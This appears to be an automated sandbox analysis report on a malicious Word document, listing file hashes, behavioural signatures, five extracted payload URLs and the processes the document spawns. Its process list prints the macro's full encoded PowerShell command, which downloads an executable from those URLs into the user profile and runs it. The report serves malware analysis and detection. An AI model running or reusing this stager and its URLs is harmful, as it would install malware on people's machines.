Analysis
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max time kernel
141s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
09-05-2024 08:49
Behavioral task
behavioral1
Sample
292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc
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Size
247KB
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MD5
292fc1154bbe613521acfa3ab69da24d
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SHA1
d89cb8fee32378fab48c4af4073d0b1f4977f2b8
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SHA256
58284dd1bedbf2c82204eb15cdad07525a70b52ff1729e051ac101c066531ce3
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SHA512
739f5ad0af89e7429e2fe2c67a8579093b1c78b7c85a287e91c2fe46224f334f3f70cea86c9e1ddb6972e4169bd273567c9b40fa3d895173130fb445b0dc58aa
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SSDEEP
6144:30Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+7y6aboRTa:30E3dxtR/iU9mvUP7paboRm
Malware Config
Extracted
http://zhangpalace.com/wp-admin/kfcuow/
http://raquelstrutz.edutrovao.com.br/wp-includes/mhj4x/
http://hoem.staging.pixelcarve.net/content/YLcMZTn/
https://mdspgrp.com/wp-includes/g6tj/
http://lula.vm-host.net/wp-content/ewww/wvo4jx/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1560 3764 Powershell.exe 83 -
Blocklisted process makes network request 4 IoCs
flow pid Process 25 1560 Powershell.exe 28 1560 Powershell.exe 31 1560 Powershell.exe 46 1560 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1560 Powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2520 WINWORD.EXE 2520 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1560 Powershell.exe 1560 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1560 Powershell.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE 2520 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2520
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABTAGkAawBxAGoAbgBhAGYAeABuAGEAYwA9ACcARQBoAHcAZwBsAG4AZQBnACcAOwAkAFoAeABiAGgAawB3AG8AYwB3ACAAPQAgACcANwAzADYAJwA7ACQARABhAHMAYwBxAGsAZQBoAHEAbQBwAD0AJwBEAHMAaABxAGcAdAB5AHYAbABlAGcAcABzACcAOwAkAEIAcgBsAGUAeABtAG8AbQBmAGgAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWgB4AGIAaABrAHcAbwBjAHcAKwAnAC4AZQB4AGUAJwA7ACQAVwByAG0AbwBjAGIAZgBuAGkAZAA9ACcAVwB2AHoAcQBvAGYAeQBjACcAOwAkAE0AcgB6AHcAbwBmAHYAYwBpAHMAYwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AEUAQgBjAEwASQBFAG4AVAA7ACQARABlAGMAYgBiAHQAYwBoAGIAdQBrAHQAcgA9ACcAaAB0AHQAcAA6AC8ALwB6AGgAYQBuAGcAcABhAGwAYQBjAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGsAZgBjAHUAbwB3AC8AKgBoAHQAdABwADoALwAvAHIAYQBxAHUAZQBsAHMAdAByAHUAdAB6AC4AZQBkAHUAdAByAG8AdgBhAG8ALgBjAG8AbQAuAGIAcgAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AaABqADQAeAAvACoAaAB0AHQAcAA6AC8ALwBoAG8AZQBtAC4AcwB0AGEAZwBpAG4AZwAuAHAAaQB4AGUAbABjAGEAcgB2AGUALgBuAGUAdAAvAGMAbwBuAHQAZQBuAHQALwBZAEwAYwBNAFoAVABuAC8AKgBoAHQAdABwAHMAOgAvAC8AbQBkAHMAcABnAHIAcAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AZwA2AHQAagAvACoAaAB0AHQAcAA6AC8ALwBsAHUAbABhAC4AdgBtAC0AaABvAHMAdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGUAdwB3AHcALwB3AHYAbwA0AGoAeAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnACoAJwApADsAJABOAHoAegBqAHQAcgB2AGwAbQA9ACcAUwBrAHoAegBhAHoAdwB4AGUAegBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAGEAaABtAGUAaQBjAHoAIABpAG4AIAAkAEQAZQBjAGIAYgB0AGMAaABiAHUAawB0AHIAKQB7AHQAcgB5AHsAJABNAHIAegB3AG8AZgB2AGMAaQBzAGMALgAiAGQAbwBgAFcAbgBMAE8AYABBAEQAZgBgAEkATABlACIAKAAkAEsAYQBoAG0AZQBpAGMAegAsACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQA7ACQAQwB6AGwAbwByAGoAdAB1AHMAcQBkAD0AJwBUAGgAbgBzAHcAcQBpAG8AZABrAGEAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQAuACIAbABFAG4AYABnAFQASAAiACAALQBnAGUAIAAzADMAMAA0ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQAQgByAGwAZQB4AG0AbwBtAGYAaAB3ACkAOwAkAEIAZQBvAGcAYQBhAGkAaAB0AD0AJwBUAGMAZQB0AGEAdQB2AG4AawAnADsAYgByAGUAYQBrADsAJABKAG0AYwB3AHEAYwB5AHAAawB4AGQAPQAnAFAAZABrAGMAbABoAG0AbwBoAGwAYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABlAGQAZABhAG4AdQBiAGQAZABqAD0AJwBFAHYAagBxAHoAbQBlAHgAawBzACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1560
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl
Filesize263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d